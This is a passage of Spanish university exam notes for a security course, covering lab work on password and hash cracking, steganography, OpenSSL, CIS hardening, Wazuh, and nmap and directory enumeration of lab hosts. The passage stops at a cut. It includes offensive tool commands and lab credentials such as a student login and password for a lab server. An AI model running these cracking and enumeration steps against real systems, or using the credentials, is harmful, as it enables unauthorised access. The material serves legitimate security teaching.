

SSI Apuntes de Examen Unificados

PDF generado desde SSI_APUNTES_EXAMEN_UNIFICADOS.md. Índice con números de página y marcadores laterales para navegación rápida.

Índice

1. Cómo Usarlo en el Examen	5
2. Conceptos Base de Seguridad	5
Seguridad de un sistema informático	5
Terminología	5
Metadatos	5
3. Linux, Máquinas Virtuales, Red y Logs	6
Conexión host-MV con NAT	6
Estructura básica de directorios Linux	6
Comandos Linux básicos	6
Logs de autenticación	6
Firewall con UFW e iptables	7
4. Docker y Laboratorios	7
Comandos Docker básicos	7
Preparación de laboratorios	7
5. Criptografía, Certificados y Cracking	7
Cracking de ZIP protegido	7
Esteganografía con Steghide y Stegseek	8
Descifrado simétrico con OpenSSL	9
SSH con clave privada	9
Cracking de hash SHA-256 de usuario Linux	9
Certificado SSL, clave RSA y CSR	10
Cifrado y firma de token	11
Conceptos criptográficos	11
6. Hardening del Sistema Operativo: Lynis, CIS, OpenSCAP y PAM	12
Lynis	12
CIS 5.3.2.2: pam_faillock	12
OpenSCAP y CIS Level 1 Server	13
7. Monitorización y SIEM con Wazuh	13
Despliegue	13

Instalación del agente	14
FIM: File Integrity Monitoring	14
CIS-CAT/SCA	14
Apache reactivado tras remediación	14
Eventos detectados	14
Logs útiles	14
8. Seguridad de Aplicaciones: Revisión Manual, SAST, Dependencias y DAST	14
Objetivo	14
Vulnerabilidades manuales encontradas	15
SAST con SonarAnalyzer.CSharp	16
Dependencias vulnerables en pipeline	16
DAST con OWASP ZAP	16
9. Reconocimiento y Enumeración de Red	16
Descubrir rango de red	17
Nmap con scripts NSE por defecto	17
Escaneos siguientes lógicos	18
Reconocimiento en entorno Docker LAB10-11-12	18
10. Enumeración Web y Exposición de Información	18
CTF web LAB02	18
Enumeración HTTP con DIRB	19
Directorio /backups/	19
Enumeración HTTP con Gobuster	19
Enumeración HTTP con Feroxbuster	20
Descarga de .git expuesto	20
Reconstrucción de repositorio Git	20
Validación débil de subida de ficheros	21
11. SQL Injection y sqlmap	21
Detección manual	21
sqlmap: enumerar tablas	21
Ubicación de resultados	21
Volcado de tabla concreta	21
Volcado completo	21
Limpiar sesión de sqlmap	22
Boolean-based blind	22

UNION-based	22
Time-based blind	22
SQL Injection en cookies	22
Webshell con sqlmap	23
12. Local File Inclusion, Subida de Ficheros y Reverse Shell	23
Crear polyglot PHP/JPG	23
Ejecutar comando mediante LFI	23
Payload PHP sin ruido de imagen	23
Prueba de conexión saliente	23
Reverse shell Bash	23
13. Proxy Inverso, ModSecurity, OWASP CRS y Fail2ban	24
Objetivo	24
Instalación del proxy y ModSecurity	24
Integración OWASP CRS en ModSecurity	24
Ajustes Apache	24
Pruebas de ataques	24
Regla propia ModSecurity	25
Fail2ban	25
14. SMB/Samba	25
Detección de SMB	25
Scripts NSE útiles	25
Enumeración con smbclient	25
15. Escalada de Privilegios Linux	26
Flujo general	26
SUID encontrados en la práctica	26
user1: sudo con /bin/cp	27
user2: sudo con python3	27
user3: sudo con tee	27
user4: SUID con dd	27
Resumen de vías de escalada	28
16. Comandos Rápidos por Herramienta	28
Linux y red	28
Lynis/OpenSCAP/CIS	28
Criptografía	28

Web y directorios	28
SQL Injection	28
LFI y reverse shell	28
ModSecurity/Fail2ban	29
Wazuh	29
Escalada de privilegios	29
17. Datos Concretos de Prácticas	29
LAB02 CTF	29
LAB03-04 Criptografía	29
LAB05 CIS	29
LAB06 Wazuh	29
LAB08 Nmap	29
LAB09 Proxy/WAF	29
LAB10-11-12 Web, SQLi, SMB y PrivEsc	30
LFI / Reverse Shell	30
18. Mapa de Fuentes Originales	30

Archivo consolidado a partir de las memorias de prácticas de SSI.

Objetivo: tener un único documento para buscar rápido con Ctrl+F.

1. Cómo Usarlo en el Examen

- Busca por herramienta: nmap, sqlmap, Lynis, OpenSCAP, Wazuh, ModSecurity, Fail2ban, hashcat, openssl, steghide, GTF0Bins.
- Busca por técnica: SQL Injection, LFI, reverse shell, SUID, sudo -l, pam_faillock, CIS, DAST, SAST, .git expuesto, SMB, Samba.
- Busca por fichero/ruta: /etc/passwd, /etc/shadow, /etc/sudoers.d, /var/log/auth.log, /var/ossec, /var/www/html, /root/.local/share/sqlmap/output.
- Busca por laboratorio: LAB01, LAB02, LAB03-04, LAB05, LAB06, LAB07, LAB08, LAB09, LAB10-11-12.

2. Conceptos Base de Seguridad

Seguridad de un sistema informático

Un sistema informático es seguro cuando:

- Responde según lo previsto.
- Evita que usuarios realicen operaciones no autorizadas.
- Garantiza la tríada CIA:
- Confidencialidad.
- Integridad.
- Disponibilidad.

Objetivos de la seguridad informática:

- Identificar vulnerabilidades.
- Crear y configurar contramedidas contra ellas.
- Evitar amenazas que explotan vulnerabilidades.

Terminología

- Amenaza: algo que podría causar daño. Ejemplo: atacante, malware, fallo eléctrico, inundación.
- Vulnerabilidad: debilidad en un sistema que permite que algo salga mal. Ejemplo: software antiguo con fallo conocido.
- Exploit: forma concreta de aprovechar una vulnerabilidad. Ejemplo: script que usa un fallo para ejecutar comandos.
- Payload: acción final que se ejecuta al explotar la vulnerabilidad. Ejemplo: robar datos, crear un usuario administrador, instalar ransomware, abrir una puerta trasera.
- CVE: Common Vulnerabilities and Exposures.
- CVSS: Common Vulnerability Scoring System.
- Riesgo: probabilidad e impacto de que una amenaza explote una vulnerabilidad.
- Ataque: acción concreta contra el sistema.
- Daño: consecuencia del ataque.

Relación rápida:

Amenaza	=	quién o qué puede atacar
Vulnerabilidad	=	por dónde entra
Exploit	=	cómo entra
Payload	=	qué hace al entrar

Metadatos

Los metadatos son datos que proporcionan información sobre otros datos.

Ejemplos:

- Ubicación de una foto.
- Autor de un documento.
- Fecha de creación.
- Comentarios incrustados en una imagen.

En CTF/laboratorio pueden contener contraseñas o pistas.

3. Linux, Máquinas Virtuales, Red y Logs

Conexión host-MV con NAT

Para conectar el host con una máquina virtual usando NAT se crea una regla de reenvío de puertos.

Idea:

```
Host:puerto_local -> MV:puerto_servicio
```

Si se hace SSH a localhost en el puerto reenviado, se termina conectando con la máquina virtual.

Ejemplo con MobaXterm:

```
MobaXterm -> Sesión -> Conexión SSH -> localhost
```

Estructura básica de directorios Linux

```
/etc/
  ssh/
  apache2/
  vsftpd/
  apt/sources.list
  passwd
  shadow
  sudoers
  sudoers.d/

/home/
  ssiuser/

/bin/
  programas básicos

/var/
  logs/
```

Rutas importantes:

- /etc/passwd: usuarios del sistema.
- /etc/shadow: hashes de contraseñas. Requiere privilegios.
- /etc/sudoers: configuración principal de sudo.
- /etc/sudoers.d/: reglas adicionales de sudo.
- /var/log/auth.log: autenticación, sesiones, sudo, cambios de contraseña.
- /var/www/html: raíz web habitual en Apache.

Comandos Linux básicos

```
su usuario
exit
ssh usuario@host
id
whoami
ip addr
ip a
ip route
systemctl status servicio
systemctl enable --now servicio
```

- su: cambia de usuario.
- exit: vuelve al usuario/shell anterior.
- id: muestra UID, GID y grupos.
- whoami: usuario actual.
- ip addr / ip a: direcciones IP.
- ip route: rutas de red.

Logs de autenticación

Buscar cambios o eventos de contraseña de un usuario:

```
sudo grep -i "ssiuser" /var/log/auth.log | grep -i "password\|passwd\|changed\|updated"
```

Explicación:

- sudo: permisos de superusuario.
- grep: buscar texto.
- -i: ignora mayúsculas/minúsculas.
- /var/log/auth.log: log de autenticación.
- |: pipeline; pasa la salida al siguiente comando.

- "password\|passwd\|changed\|updated": patrones relacionados con cambios de contraseña.

Firewall con UFW e iptables

UFW permite crear reglas de firewall de forma sencilla y se apoya en iptables.

Puntos importantes:

- Si hay conflicto entre reglas, se aplica la primera que coincida.
- Se puede cambiar el orden de las reglas.
- Al crear una regla, se puede insertar en una posición concreta con `insert`.
- Se puede eliminar una regla por número.
- Para crear reglas por nombre de servicio (SSH, `vsftpd`, etc.), el perfil debe existir previamente. Si no, aparece un error sobre perfiles inexistentes.

Comandos útiles:

```
sudo ufw status numbered
sudo ufw allow ssh
sudo ufw allow 22/tcp
sudo ufw insert 1 allow 22/tcp
sudo ufw delete NUMERO
sudo ufw enable
sudo ufw disable
```

4. Docker y Laboratorios

Comandos Docker básicos

```
docker run
docker stop
docker exec
docker build
docker bash
```

Uso típico:

```
docker run -it imagen bash
docker exec -it contenedor bash
docker stop contenedor
docker build -t nombre:tag .
```

`docker bash` en los apuntes significa entrar a una línea de comandos dentro del contenedor, normalmente con `docker exec -it contenedor bash`.

Preparación de laboratorios

Ejemplo LAB09:

```
unzip lab_9.zip -d ssi_labs/lab_sessions/
cd ssi_labs/lab_sessions/
./prepare_lab9.sh
./build_lab9.sh
```

Ejemplo LAB10-11-12, cambio de step:

```
./start_all.sh 4
```

5. Criptografía, Certificados y Cracking

Incluye LAB03-04 y parte del LAB02.

Cracking de ZIP protegido

Contexto:

- Archivo ZIP descargado desde URL personalizada.
- Credenciales usadas:

```
U0302313:pass_ECpPY
```

- URL:

```
https://156.35.163.140/api/dd44e5e5
```

- Pista: contraseña de máximo 6 caracteres, letras mayúsculas/minúsculas y números.
- Requisito: conectarse a GlobalProtect VPN desde el host. No funciona desde la MV.

Descarga:

```
curl -u U0302313:pass_ECpPY https://156.35.163.140/api/dd44e5e5 --insecure --output U0302313.zip
```

Cracking con fcrackzip:

```
fcrackzip -b -c 'aA1' -l 1-6 -u archivo.zip
```

Parámetros:

- -b: brute force.
- -c 'aA1': charset con minúsculas, mayúsculas y números.
- -l 1-6: longitud entre 1 y 6.
- -u: verifica con unzip.

Extracción:

```
unzip archivo.zip
```

Archivos obtenidos:

- Imágenes image_0.jpg, image_1.jpg, etc.
- step2.txt.
- U0302313_mensaje.enc.
- U0302313_IV.
- Claves criptográficas.

Esteganografía con Steghide y Stegseek

Objetivo:

- Encontrar imagen por hash SHA-384.
- Extraer mensaje oculto.
- Crackear contraseña de esteganografía.

Hash objetivo:

```
a8f4c98dc979e4823bba78e93eb90ba04ed83eea3d080a27556ee244acf4a28e378140070c516bd744bc997e447931f8
```

URL para diccionario:

```
http://156.35.163.140:777
```

Identificar imagen:

```
sha384sum *.jpg *.png  
sha384sum *.jpg | grep "a8f4c98dc979e4823bba78e93eb90ba04ed83eea3d080a27556ee244acf4a28e378140070c516bd744bc997e447931 \\  
f8"
```

Generar diccionario con CeWL:

```
cewl http://156.35.163.140:777 -m 1 -d 4 --with-numbers -w diccionario.txt
```

Parámetros:

- -m 1: palabras desde 1 carácter.
- -d 4: profundidad de rastreo.
- --with-numbers: incluye palabras con números.
- -w: fichero de salida.

Cracking:

```
stegseek imagen_correcta.jpg diccionario.txt
```

Contraseña encontrada:

```
Contact
```

Extracción:

```
steghide extract -sf imagen_correcta.jpg  
steghide extract -sf imagen_correcta.jpg -p "Contact"  
cat step3.txt
```

Resultado del mensaje extraído:

- Clave de descifrado:

ee5dd8c351b1c5d089c7793c50e874b6
- Archivo a descifrar:

uo302313.enc

- Probar algoritmos de cifrado simétrico.
- El mensaje descifrado estará codificado y contendrá una pregunta simple.
- La respuesta esperada es un número.

Descifrado simétrico con OpenSSL

Datos usados:

```
Archivo cifrado: U0302313_mensaje.enc
Clave: 49d32a54f7d47a048c45a826ddf8843d
IV: f7ab03abeca859e33bcf577713d855ea
Algoritmo correcto: AES-192-CBC
```

Algoritmos candidatos anotados:

- AES-192-CBC.
- AES-192-CTR.
- AES-256-CBC.
- AES-256-ECB.
- AES-256-OFB.
- AES-256-CTR.
- ARIA-256-CBC.
- ARIA-256-CTR.
- Camellia-256-CBC.
- ChaCha20.

Comando correcto:

```
openssl enc -d -aes-192-cbc -in U0302313_mensaje.enc -out mensaje_descifrado.txt -K 49d32a54f7d47a048c45a826ddf8843d \
-iv f7ab03abeca859e33bcf577713d855ea
```

Parámetros:

- -d: descifrado.
- -aes-192-cbc: algoritmo.
- -K: clave en hexadecimal.
- -iv: vector de inicialización.

Decodificación Base64:

```
cat mensaje_descifrado.txt
base64 -d mensaje_descifrado.txt > mensaje_final.txt
cat mensaje_final.txt
```

SSH con clave privada

Datos:

```
IP: 156.35.163.140
Puerto: 2222
Usuario: U0302313
Clave privada: clave_privada_U0302313_id_rsa
Archivo objetivo: respuesta_U0302313_step5
```

Permisos de clave:

```
chmod 600 clave_privada_U0302313_id_rsa
```

Conexión:

```
ssh -i clave_privada_U0302313_id_rsa -p 2222 U0302313@156.35.163.140
```

Obtener respuesta y hash:

```
ls
cat respuesta_U0302313_step5
cat local_hash
```

Hash encontrado:

```
12829da7d7e6146a0506cc410ffeeb0f88be99b3035dbb78ee56347d09d492bf
```

Cracking de hash SHA-256 de usuario Linux

Usuario objetivo:

```
local_U0302313
```

Hash:

```
12829da7d7e6146a0506cc410ffeeb0f88be99b3035dbb78ee56347d09d492bf
```

Identificación:

- 64 caracteres hexadecimales suele corresponder a SHA-256.

Herramientas:

```
hashid hash.txt
```

También:

- CyberChef: <https://gchq.github.io/CyberChef/>
- Hash Analyzer: <https://www.tunnelsup.com/hash-analyzer>
- CrackStation: <https://crackstation.net/>

Hashcat:

```
hashcat -m 1400 -a 0 local_hash /usr/share/wordlists/rockyou.txt  
hashcat -m 1400 -a 3 local_hash
```

- -m 1400: SHA-256.
- -a 0: diccionario.
- -a 3: fuerza bruta.

John:

```
john local_hash --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt
```

Contraseña encontrada:

```
ATHFCHARACTERS
```

Acceso:

```
su local_U0302313  
cd ~  
ls  
cat token
```

Entrega:

- Contraseña del usuario local_U0302313: ATHFCHARACTERS.
- Contenido de token.

Certificado SSL, clave RSA y CSR

Objetivo:

- Generar par de claves RSA.
- Crear CSR.
- Obtener certificado firmado por la CA de la universidad.

Datos:

```
URL CA: http://156.35.163.140:5000  
OpenSSL: 3.0 o superior
```

Ver versión:

```
openssl version
```

Generar clave privada y CSR:

```
openssl req -newkey rsa:2048 -keyout mi_clave_privada.key -out mi_csr.csr -nodes
```

Parámetros:

- -newkey rsa:2048: clave RSA de 2048 bits.
- -keyout: salida de clave privada.
- -out: salida del CSR.
- -nodes: no cifra la clave privada con contraseña.

Datos del formulario:

```
Country Name: ES  
State or Province Name: Asturias  
Locality Name: Oviedo
```

```
Organization Name: Universidad de Oviedo
Organizational Unit Name: opcional
Common Name: U0302313
Email Address: U0302313@uniovi.es
Challenge password: dejar en blanco
Optional company name: dejar en blanco
```

Subida:

1. Abrir `http://156.35.163.140:5000`.
2. Subir `mi_csr.csr`.
3. Descargar certificado firmado.
4. Guardar como `certificado_firmado.pem`.

Archivos:

- `mi_clave_privada.key`: clave privada RSA.
- `mi_csr.csr`: solicitud de certificado.
- `certificado_firmado.pem`: certificado firmado por la CA.

Cifrado y firma de token

Datos:

```
Clave pública profesores: public_key_profesores.pem
Archivo a cifrar: token
Clave privada propia: mi_clave_privada.key
```

Cifrado directo con RSA:

```
openssl pkeyutl -encrypt -pubin -inkey public_key_profesores.pem -in token -out token_cifrado.enc
```

Parámetros:

- `-encrypt`: cifra.
- `-pubin`: la clave de entrada es pública.
- `-inkey`: clave pública.
- `-in`: archivo original.
- `-out`: archivo cifrado.

Alternativa CMS:

```
openssl cms -encrypt -binary -aes-256-cbc -in token -out token_cifrado.enc -outform DER -recip \
public_key_profesores.pem
```

Método híbrido AES + RSA para archivos grandes:

```
openssl rand -out clave_temp.bin 32
openssl enc -aes-256-cbc -salt -in token -out token_aes.enc -pass file:clave_temp.bin -pbkdf2
openssl pkeyutl -encrypt -pubin -inkey public_key_profesores.pem -in clave_temp.bin -out clave_temp.bin.enc
cat clave_temp.bin.enc token_aes.enc > token_cifrado.enc
```

Firma digital:

```
openssl dgst -sha256 -sign mi_clave_privada.key -out token_cifrado.sig token_cifrado.enc
```

Verificar ficheros:

```
ls -lh token_cifrado.enc token_cifrado.sig certificado_firmado.pem
```

Entrega:

- `token_cifrado.enc`.
- `token_cifrado.sig`.
- `certificado_firmado.pem`.

Conceptos criptográficos

Criptografía asimétrica:

- Par de claves: pública y privada.
- Clave pública: cifrar o verificar.
- Clave privada: descifrar o firmar.
- RSA: usado para cifrado asimétrico, firma o protección de claves simétricas.

PKI:

- CA: entidad que firma certificados.
- CSR: solicitud de firma de certificado.
- Certificado digital: vincula identidad con clave pública.
- Cadena de confianza: certificados verificados por una CA.
- PEM: formato Base64 para certificados y claves.

Contraseñas Linux:

- /etc/shadow almacena hashes.
- SHA-256 es una función hash.
- Rainbow tables: tablas precalculadas.
- Ataque de diccionario suele ser más eficiente que fuerza bruta.

SSH:

- Autenticación con clave pública es más segura que contraseña.
- Permisos restrictivos para claves privadas: `chmod 600`.

6. Hardening del Sistema Operativo: Lynis, CIS, OpenSCAP y PAM

Incluye LAB01 y LAB05.

Lynis

Instalación:

```
sudo apt update
sudo apt install lynis
```

Auditoría:

```
sudo lynis audit system
sudo lynis audit system > lynis.txt
```

Ficheros generados:

```
/var/log/lynis.log
/var/log/lynis-report.dat
```

El `hardening index` indica el nivel de endurecimiento/seguridad de la máquina.

Resultado inicial anotado:

```
1285 tests executed
42 warnings
85 suggestions
Hardening index: 62
```

CIS 5.3.2.2: pam_faillock

Objetivo:

- Bloquear temporalmente cuentas tras varios intentos fallidos.
- Control CIS relacionado con autenticación PAM.

Script de creación de perfil PAM:

```
#!/usr/bin/env bash
arr=(
  "Name: Enable pam_faillock to deny access"
  "Default: yes"
  "Priority: 0"
  "Auth-Type: Primary"
  "Auth:"
  "          [default=die]                pam_faillock.so authfail"
)
printf '%s\n' "${arr[@]}" > /usr/share/pam-configs/faillock
```

Ruta usada:

```
/opt/5.3.2.2_CIS_ubuntu.sh
```

Ejecución:

```
chmod 740 /opt/5.3.2.2_CIS_ubuntu.sh
/opt/5.3.2.2_CIS_ubuntu.sh
pam-auth-update --enable faillock
```

Los warnings de Perl durante `pam-auth-update` pueden ser normales si la configuración se aplica.

Configuración:

```
cat > /etc/security/faillock.conf << 'EOF'
deny = 3
fail_interval = 900
unlock_time = 600
even_deny_root
EOF
```

Significado:

- deny = 3: bloquea tras 3 fallos.
- fail_interval = 900: ventana de 900 segundos.
- unlock_time = 600: desbloqueo tras 600 segundos.
- even_deny_root: también aplica a root.

Verificación:

```
grep faillock /etc/pam.d/common-auth
faillock --user usuario
```

Resultado esperado en PAM:

```
auth required      pam_faillock.so preauth
auth [default=die] pam_faillock.so authfail
```

OpenSCAP y CIS Level 1 Server

Explorar perfiles:

```
cd /opt
oscap info scap-security-guide-0.1.79/ssg-ubuntu2404-ds.xml
```

Perfil usado:

```
xccdf_org.ssgproject.content_profile_cis_level1_server
```

Ejecutar auditoría:

```
mkdir -p results reports remediacion
oscap xccdf eval \
  --profile xccdf_org.ssgproject.content_profile_cis_level1_server \
  --results results/cis_level1_server_results.xml \
  --report reports/cis_level1_server_report.html \
  scap-security-guide-0.1.79/ssg-ubuntu2404-ds.xml
```

Ver informe:

```
sudo apt install w3m
w3m reports/cis_level1_server_report.html
```

O copiar al escritorio:

```
cp reports/cis_level1_server_report.html /home/ssiuser/Desktop/
chown ssiuser:ssiuser /home/ssiuser/Desktop/cis_level1_server_report.html
```

Generar remediación:

```
oscap xccdf generate fix \
  --profile xccdf_org.ssgproject.content_profile_cis_level1_server \
  --fix-type bash \
  scap-security-guide-0.1.79/ssg-ubuntu2404-ds.xml > /opt/remediacion/remediacion_cis_level1_server.sh
```

Notas:

- El script puede tener unas 1500-2000 líneas.
- Contiene un bloque de remediación por regla CIS.
- Formato comentado típico: # remediation = { rule: '1.1.1.1' }.
- En la práctica se eliminan bloques relacionados con AIDE porque comprueba hashes de todos los archivos y tarda mucho.
- Tras remediar, se vuelve a ejecutar Lynis.

Comandos clave:

```
sudo lynis audit system
pam-auth-update --enable faillock
faillock --user usuario
oscap xccdf eval --profile PERFIL --results results.xml --report report.html archivo.xml
oscap xccdf generate fix --profile PERFIL --fix-type bash archivo.xml
```

7. Monitorización y SIEM con Wazuh

Incluye LAB06.

Despliegue

Objetivo:

- Desplegar Wazuh single-node con Docker.
- Simular ciberataques.
- Activar agente Ubuntu.
- Configurar FIM y CIS-CAT/SCA.
- Detectar eventos de autenticación y web.

Infraestructura:

```
Single-Node Wazuh (Docker Compose oficial v4.11+)
███ wazuh-manager
███ wazuh-indexer
███ wazuh-dashboard
███ Agente Ubuntu: ApacheServer-Prueba
```

Acceso:

```
https://localhost
Usuario: admin
Password: SecretPassword
SSL: self-signed
```

Instalación del agente

```
wget https://packages.wazuh.com/4.x/apt/pool/main/w/wazuh-agent/wazuh-agent_4.14.1-1_amd64.deb
sudo WAZUH_MANAGER='127.0.0.1' WAZUH_AGENT_NAME='ApacheServer-Prueba' dpkg -i wazuh-agent_*.deb
sudo systemctl daemon-reload
sudo systemctl enable --now wazuh-agent
```

Datos:

```
Agente: ApacheServer-Prueba
Ubuntu x64
Manager: 127.0.0.1
Versión agente: 4.14.1
```

FIM: File Integrity Monitoring**Archivo:**

```
/var/ossec/etc/ossec.conf
```

Configuración:

```
<syscheck>
  <directories realtime="yes" check_all="yes">/var/www/html,/etc/apache2</directories>
</syscheck>
```

CIS-CAT/SCA**Configurado para auditorías diarias:**

```
interval="24h"
```

Apache reactivado tras remediación

```
sudo apt install apache2
sudo systemctl unmask apache2
sudo systemctl enable apache2
sudo systemctl start apache2
curl -X DELETE http://localhost
```

Eventos detectados

```
| Evento | Trigger | Rule ID esperada | Estado |
| --- | --- | --- | --- |
| Creación de usuario | `sudo useradd -m testuser` | ~60109 | Detectado |
| Failed sudo | `su - testuser` con password débil | 5501/5502 | Detectado |
| Ataque web | `curl -X DELETE http://localhost` | ~31100 | Pendiente confirmación |
| Cambios FIM | Modificaciones en `/var/www` | Realtime | Listo |
```

Logs útiles

```
tail -f /var/ossec/logs/alerts/alerts.log
/var/ossec/bin/wazuh-logtest
tail -f /var/log/apache2/{access,error}.log
sudo systemctl status apache2
docker-compose logs -f wazuh-manager
```

8. Seguridad de Aplicaciones: Revisión Manual, SAST, Dependencias y DAST

Incluye LAB07.

Objetivo

Analizar vulnerabilidades en una aplicación C# mediante:

- Revisión manual.
- SAST.
- Pipeline básico de validación.
- Comprobación de dependencias vulnerables.
- DAST.

La aplicación:

- Solicita credenciales.
- Hashea la contraseña.
- Interactúa con base de datos para simular registro.
- Pide una ruta de fichero y muestra su contenido.

Vulnerabilidades manuales encontradas

URL de conexión hardcodeda

Riesgo:

- Credenciales o cadena de conexión expuestas en código fuente.

Corrección:

- Guardar la configuración fuera del código.
- Inyectarla en ejecución mediante entorno/configuración segura.

Inyección SQL

Riesgo:

- Consulta SQL construida concatenando datos del usuario.
- Permite alterar la consulta original.

Corrección:

- Usar consultas parametrizadas.
- No concatenar entradas de usuario.

Hashing vulnerable

Riesgo:

- Algoritmo de hash inseguro o con vulnerabilidades conocidas.

Corrección:

- Usar función moderna y adecuada.
- Para contraseñas, preferir algoritmos diseñados para password hashing.

Excepciones silenciadas

Riesgo:

- Errores reales quedan ocultos.
- Dificulta mantenimiento y detección de ataques.

Corrección:

- Mostrar al usuario errores controlados.
- Registrar el error real en logs.

Variable no utilizada

Riesgo:

- Código innecesario que puede inducir errores futuros.

Corrección:

- Eliminarla o usarla correctamente si tiene propósito.

Path no controlado al leer ficheros

Riesgo:

- Acceso a archivos sensibles o no autorizados.
- Path traversal.

Corrección:

- Validar y restringir rutas.
- Permitir solo rutas seguras y controladas.

SAST con SonarAnalyzer.CSharp

Instalación:

```
dotnet add package SonarAnalyzer.CSharp
```

Uso:

- Complementar revisión manual.
- Detectar problemas estáticos en código.

Dependencias vulnerables en pipeline

Dependencia vulnerable usada:

```
Newtonsoft.Json 9.0.1
```

Resultado:

- Sonar no reportó el problema.
- El pipeline sí lo detectó.

Comprobar paquetes vulnerables:

```
dotnet list package --vulnerable
```

Corrección:

- Actualizar a versión segura.
- Sustituir por alternativa sin vulnerabilidades conocidas.

DAST con OWASP ZAP

Motivo:

- La vulnerabilidad del path no estaba siendo detectada por SAST.
- Algunas vulnerabilidades se aprecian mejor en ejecución.

Descargar imagen:

```
docker pull zapoxy/zap-stable
```

Lanzar análisis baseline:

```
docker run --network host -v $(pwd):/zap/wrk/:rw -t zapoxy/zap-stable zap-baseline.py -t http://localhost:1080 -r \informeZAP.html
```

Datos:

- Objetivo: http://localhost:1080.
- Informe: informeZAP.html.
- Resultado anotado: Apache por defecto presentaba dos vulnerabilidades medias.

Conclusión:

- Seguridad de aplicaciones debe combinar revisión manual, SAST, pipeline/dependencias y DAST.

9. Reconocimiento y Enumeración de Red

Incluye LAB08 y LAB10-11-12.

Descubrir rango de red

Si se observa una IP como:

```
192.168.8.72
```

Hipótesis razonable:

```
192.168.8.0/24
```

Barrido:

```
sudo nmap 192.168.8.0/24
```

Resultado LAB08:

```
| IP | Nombre | Puertos | Observaciones |
| --- | --- | --- | --- |
| 192.168.8.1 | - | 22/tcp | SSH expuesto |
| 192.168.8.2 | lab8_dns.lab_08_lab8_net | 53/tcp | DNS |
| 192.168.8.13 | lab8_obsolete.lab_08_lab8_net | 22, 23, 80 | SSH, Telnet, HTTP |
| 192.168.8.34 | lab8_eii.lab_08_lab8_net | Ninguno visible | Puertos filtrados |
| 192.168.8.48 | lab8_epi.lab_08_lab8_net | 22, 80 | SSH y HTTP |
| 192.168.8.51 | lab8_ssh.lab_08_lab8_net | 22 | SSH |
| 192.168.8.69 | lab8_ssh_vulnerable.lab_08_lab8_net | 21, 22, 23, 80 | FTP, SSH, Telnet, HTTP |
| 192.168.8.73 | lab8_kali | Ninguno visible | Kali, filtrado |
```

Conclusiones:

- Subred confirmada: 192.168.8.0/24.
- Host 192.168.8.69 es especialmente interesante por múltiples servicios.
- Telnet y FTP son servicios inseguros o desaconsejados.
- Puertos `filtered` indican filtrado/cortafuegos.

Nmap con scripts NSE por defecto

```
sudo nmap 192.168.8.0/24 --script default
```

Resultados relevantes:

192.168.8.2: DNS

```
53/tcp open domain
bind.version: 9.18.30-0ubuntu0.20.04.2-Ubuntu
```

Sirve para fingerprinting y búsqueda de vulnerabilidades por versión.

192.168.8.13: obsolete

Servicios:

```
22/tcp ssh
23/tcp telnet
80/tcp http
```

HTTP:

```
Apache2 Ubuntu Default Page: It works
```

Interpretación:

- Página por defecto de Apache.
- Configuración mínima o poco personalizada.
- Telnet transmite sin cifrar.

192.168.8.48: epi

Servicios:

```
22/tcp ssh
80/tcp http
```

Título HTTP:

```
EPI Gijón - Ingeniería industrial, informática y de telecomunicación
```

192.168.8.51: ssh

Servicio:

```
22/tcp ssh
```

192.168.8.69: vulnerable

Servicios:

```
21/tcp ftp
22/tcp ssh
23/tcp telnet
80/tcp http
```

Título HTTP:

EPI Gijón - Ingeniería industrial, informática y de telecomunicación

Hallazgo:

ssh-hostkey: Possible duplicate hosts

Los hosts 192.168.8.48 y 192.168.8.69 comparten claves SSH RSA, ECDSA y ED25519.

Interpretación:

- Posible imagen clonada.
- Configuración SSH copiada.
- Plantilla desplegada sin regenerar host keys.
- Mala práctica: rompe la identidad criptográfica única de cada servidor.

Escaneos siguientes lógicos

```
nmap -sV objetivo
nmap -O objetivo
nmap --script default objetivo
nmap --script vuln objetivo
```

Posibles tareas:

- Escaneo de versiones con -sV.
- Detección de sistema operativo con -O.
- Enumeración DNS contra 192.168.8.2.
- Escaneos alternativos para hosts filtrados como 192.168.8.34.

Reconocimiento en entorno Docker LAB10-11-12

Comandos iniciales:

```
whoami
id
ip a
ip route
nmap 172.31.0.0/24
```

Ejemplo de servicio web detectado:

```
Nmap scan report for ssi_front_web.step2_internet_net (172.30.0.20)
Host is up
PORT      STATE SERVICE
80/tcp    open  http
```

Step 4:

```
172.31.0.1
Puertos: 22/tcp ssh, 80/tcp http

172.31.0.22
Host: ssi_vuln_lab.step4_intranet_net
Puertos: 80/tcp http, 139/tcp netbios-ssn, 445/tcp microsoft-ds
```

Máquina objetivo:

172.31.0.22

10. Enumeración Web y Exposición de Información

Incluye LAB02, LAB08 y LAB10-11-12.

CTF web LAB02

Contraseña 1:

- Revisar cabeceras HTTP.
- La contraseña aparece en el debug token.

SSI_P1_2ddcc781905bfe6a

Contraseña 2:

- Buscar ROBOT.
- Hay 2 carpetas disallowed.
- Entrar en la de backup.

SSI_P2_e8611d13d2aa4adf

Contraseña 3:

- Conexión FTP al servidor.
- Analizar metadatos de la imagen.
- La contraseña está en el campo Comentario.

SSI_P3_b659f42158bea1be

Última contraseña:

MIIeOQ
bda511

Cadena final anotada:

2ddcc781905bfe6ae8611d13d2aa4adfb659f42158bea1beMIIeOQbda511

Enumeración HTTP con DIRB

Comando:

```
dirb http://172.31.0.22 /usr/share/dirb/wordlists/common.txt
```

Si se escribió mal la ruta:

```
/usr/shares/dirb/wordlists/common.txt
```

corregir a:

```
/usr/share/dirb/wordlists/common.txt
```

Resultados LAB10-11-12:

```
http://172.31.0.22/.git/HEAD      CODE:200
http://172.31.0.22/admin/        DIRECTORY
http://172.31.0.22/backups/      DIRECTORY
http://172.31.0.22/index.html    CODE:200
http://172.31.0.22/server-status CODE:403
http://172.31.0.22/admin/index.html CODE:200
```

Directorio /backups/

URL:

```
http://172.31.0.22/backups/
```

Listado:

```
Index of /backups
config.bak
```

Contenido sensible:

```
DB_HOST=acme-db.internal
DB_USER=acme_app
DB_PASSWORD=SuperSecret123
```

Riesgo:

- Copias de seguridad expuestas.
- Credenciales de base de datos accesibles sin autenticación.

Enumeración HTTP con Gobuster

Comando:

```
gobuster dir -u http://172.31.0.22/ -w /usr/share/wordlists/dirb/common.txt -x txt,html,old,bak,zip,git
```

Parámetros:

- dir: modo directorios/ficheros.
- -u: URL objetivo.
- -w: diccionario.
- -x: extensiones adicionales.

Hallazgos:

```

/.git/HEAD      Status: 200
/admin          Status: 301 -> /admin/
/backups        Status: 301 -> /backups/
/index.html     Status: 200
/server-status  Status: 403

```

Importante:

```
/.git/HEAD (Status: 200)
```

Indica que existe un directorio `.git` publicado parcial o totalmente.

Enumeración HTTP con Feroxbuster

